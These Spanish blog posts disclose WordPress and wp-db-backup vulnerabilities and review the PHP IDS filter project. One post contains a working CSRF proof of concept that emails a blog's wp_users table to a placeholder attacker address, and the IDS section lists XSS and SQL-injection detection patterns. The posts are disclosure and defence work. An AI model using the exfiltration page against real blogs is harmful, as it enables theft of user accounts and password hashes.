Múltiples vulnerabilidades en la última version estable de WordPress MU

WordPress MU, es una versión de WordPress que soporta múltiples blogs. Tanto WordPress como WordPress MU comparten gran parte de código y por lo tanto, es lógico que casi siempre sufran los mismos problemas de seguridad*.

Luego de mirar un rato el código de la última versión estable de WordPress MU, veo que el casi inofensivo** problema de seguridad que reporté el lunes pasado en WordPress, tiene consecuencias más peligrosas en la versión multiblog puesto que cualquiera puede registrarse en sitios que usen este CMS. Por las pruebas que hice, el exploit funciona sin realizar ningún cambio.

Por otro lado, las versiones menores iguales a 1.2.1 son posiblemente vulnerables a todos los bugs reportados meses atrás. Por tanto, lo más seguro mientras liberan actualizaciones de seguridad es usar la versión en desarrollo.

*: un problema similar existe entre menéame y pligg, este último no ha corregido varios de los fallos reportados en el primero (y viceversa).
**: pocos blogs dejan que los usuarios se registren libremente.

wp-db-backup: ¡tus datos son míos!

Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.

Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.

La versión 2.0.6 incluye tres formas de poder obtener los backups:

  1. Guardar en un directorio aleatorio en el servidor web.
  2. Descargar el backup a la máquina del usuario.
  3. Enviar el backup por correo a una cuenta de email especificada en otro campo.

No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users.

html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>wp-db-backup PoC</title>     
</head>
<body>
    <form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
            <input type="hidden" name="deliver" value="smtp" />
                <input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
                <input type="hidden" name="core_tables[]" value="wp_users" />
                <input type="hidden" name="do_backup" value="backup" />
        </form>
        <script type="text/javascript">
            //<![CDATA[
            document.forms[0].submit();
            //]]>

        </script>
</body>
</html>

Una vez que se tengan los datos de los usuarios del blog victima.com, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.

Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.

PHP IDS (Intrusion Detection System)

Mario.Heiderich y Christian vienen desarrollando un sistema de detección de intrusos en PHP 5, el cual funciona en base a un conjunto de filtros definidos en un archivo XML, que detectan posibles parámetros peligrosos en las peticiones que se hacen sobre un servidor web.

xml:
<?xml version="1.0" encoding="iso-8859-1" ?>

<filters>
        <filter>
                <rule><![CDATA[(@import|;base64|alert[\s]?\(|expression[\s]?\(|urn[\s]?\(|fromCharcode[\s]?\(|decodeURIComponent[\s]?\(|eval[\s]?\(|Execute[\s]?\()]]></rule>
                <description>detects imported poisoned stylesheets, base64 attacks, vbscript probings and typical js injections</description>
        <tags>
                        <tag>xss</tag>
                        <tag>csrf</tag>
                        <tag>id</tag>
                        <tag>rfe</tag>
                </tags>
        <impact>4</impact>
        </filter>   
        <filter>
                <rule><![CDATA[(SELECT|INSERT|CREATE|DELETE|FROM|WHERE|LIKE|EXEC|SP_|XP_|SQL|ROWSET|OPEN|BEGIN|END|DECLARE|UNION|NULL)]]></rule>
                <description>detects common sql keywords</description>
        <tags>
                        <tag>sqli</tag>
            <tag>id</tag>
                </tags>
        <impact>2</impact>
        </filter>   
</filters>

El modo de uso es el siguiente:

php:
<?php
/**
 *      Cargar las clases
 */

require_once './phpids/ids.php';
require_once './phpids/storage.php';

try {
        /**
         *      Cargar los filtros por omisión distribuidos en el código fuente
         */

        $storage = new Filter_Storage();
        $storage->getFilterFromXML('./phpids/default_filter.xml');

        /**
         *      Instanciar el IDS y empezar a buscar elementos sospechosos
         *
         */

        $get = new IDS_Monitor($_GET, $storage); // $_POST, $_REQUEST, etc
        $result = $get->run();
       
        /**
         *      Mostrar los resultados en el navegador
         *
         * (Lo ideal sería enviar el resultado a otro archivo)
         */

        header('Content-type: text/plain; charset=utf-8');
        print_r($result);
} catch (Exception $e) {
        printf(
                'An error occured: %s',
                $e->getMessage()
        );
}
?>

En las pocas pruebas que hice, pude notar que en algunos casos se pueden saltar los filtros que vienen por omisión, por otro lado también se reportan muchos falsos positivos en cadenas de caracteres totalmente inofensivas -- en mi opinión, es consecuencia del uso de expresiones regulares.

Más allá de las limitaciones (y posibles problemas de rendimiento) que pueda tener, es una alternativa para aquellos servidores donde no está instalado mod_security.

Múltiples vulnerabilidades (Cross Site Scripting – Cross Site Request Forgery) en WordPress

Existen múltiples fallos de tipo XSS y CSRF que afectan tanto la versión en desarrollo como a toda la rama 2.x (2.0.x, 2.1.x, 2.2) de WordPress. A diferencia de los reportes anteriores donde ponía a disposición soluciones temporales, esta vez por falta de tiempo y porque los archivos afectados no son imprescindibles para el funcionamiento de un blog, recomiendo que eliminen todos los archivos que se encuentran en wp-admin/import/ puesto que la mayoría de esas páginas son vulnerables.

Me parece que este tipo de fallos van a seguir apareciendo en la siguiente versión mayor (2.2) de WordPress, no sólo porque se agrega nueva funcionalidad, sino también porque muchos usamos plugins y temas vulnerables a XSS, CSRF e inclusive a Inyección de SQL. En mi opinión, mostrar al público los plugins instalados es jugar con fuego, ya que puede ser algo contraproducente para el autor del blog 😉

Nota: Para los curiosos, pueden ver las pruebas de concepto que envié al equipo de desarrollo de WordPress.